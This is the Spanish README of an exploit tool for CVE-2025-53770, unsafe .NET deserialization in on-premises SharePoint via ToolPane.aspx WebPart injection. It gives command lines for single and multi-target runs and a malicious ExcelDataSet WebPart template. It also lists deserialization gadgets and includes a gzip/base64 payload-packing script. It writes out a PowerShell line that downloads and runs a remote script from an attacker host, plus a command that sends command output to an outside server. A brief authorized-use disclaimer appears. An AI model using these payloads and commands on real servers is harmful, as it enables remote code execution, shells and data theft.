
Herramienta de Explotación de Inyección de WebPart de SharePoint
🍕 Herramienta de explotación para la inyección de WebParts en SharePoint a través de ToolPane.aspx, que conduce a la deserialización de .NET y a una posible ejecución remota de código (RCE).
Desarrollado por: @GOTOCVE
Esta herramienta explota una vulnerabilidad en Microsoft SharePoint (on-premises) que permite a usuarios autenticados abusar del endpoint ToolPane.aspx e inyectar WebParts maliciosos que contienen objetos .NET serializados comprimidos con GZIP.
El objeto inyectado se coloca dentro del parámetro MSOTlPn_SelectedWpId y se incrusta en un WebPart falsificado (como <Scorecard:ExcelDataSet>) que es analizado y deserializado por el backend de SharePoint.
| Producto | Versiones afectadas |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
exploit.pyHerramienta de explotación multi-hilo para SharePoint para CVE-2025-53770.
/ToolPane.aspxYSLosf.exeGenerador de payloads LosFormatter y deserializador.
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)Tu payload debe ser:
DataSet, ObjectDataProvider)LosFormatter o BinaryFormatterIncrustado en un WebPart como:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfColoca tu comando (p. ej., reverse shell) en payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Guarda la salida en payload-final.txt y pásala a la herramienta de explotación.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterEsta vulnerabilidad no devuelve salida (p. ej., ipconfig) en la respuesta. Debes:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
Esta herramienta se proporciona únicamente con fines de pruebas de seguridad educativas y autorizadas.
No la utilices contra sistemas sin permiso explícito. El uso indebido puede ser ilegal y poco ético.
Si un servidor vulnerable acepta el payload y refleja MSOTlPn_SelectedWpId o renderiza la página con el WebPart inyectado, es probable que sea explotable. La ausencia de salida significa que la deserialización falló o que el servidor está parcheado.
Esta herramienta no entrega ni ejecuta ningún shellcode ni web shell.
Solo demuestra la explotación de la vulnerabilidad de deserialización de .NET (CVE-2025-53770) a través del endpoint vulnerable ToolPane.aspx utilizando una estructura de WebPart maliciosa que contiene un objeto .NET comprimido con GZIP.
🔹 Propósito: Ayudar a investigadores, red teamers y defensores a detectar servidores SharePoint vulnerables y probar el vector de inyección de forma segura con payloads personalizados.
🔹 Payloads: La herramienta requiere que los usuarios generen sus propios payloads (p. ej., usando YSLosf.exe) que se incrustan en el WebPart como cadenas GZIP codificadas en Base64.
Es responsabilidad del usuario elegir payloads apropiados y éticos (como la ejecución inofensiva de calc.exe, marcadores de baliza, etc.).
🔹 NO se incluyen reverse shells/web shells:
Aunque los atacantes en la naturaleza pueden colocar web shells como spinstall0.aspx, este proyecto no incluye dicha lógica.
Si planeas entregar una reverse shell, debes generar tu propio payload manualmente y asumir toda la responsabilidad por su uso.
Únete a @GOTOCVE en Telegram:
Creado por Ali Soltani
Para consultas de investigación o informes de errores, escribe vía Telegram
| Campo | Valor |
|---|
| Componente | Microsoft SharePoint (On-Premises) |
| Endpoint | /layouts/15/ToolPane.aspx |
| Parámetro | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Problema | Deserialización insegura de .NET |
| CVE | CVE-2025-53770 |
| Argumento | Descripción |
|---|
-u | URL del objetivo (p. ej., https://sp.company.local) |
-f | Archivo que contiene las URLs de los objetivos (una por línea) |
-p | Archivo de payload o cadena Base64 GZIP directa |
--proxy | Proxy opcional (p. ej., http://127.0.0.1:8080) |
-t | Tiempo de espera en segundos (predeterminado: 15) |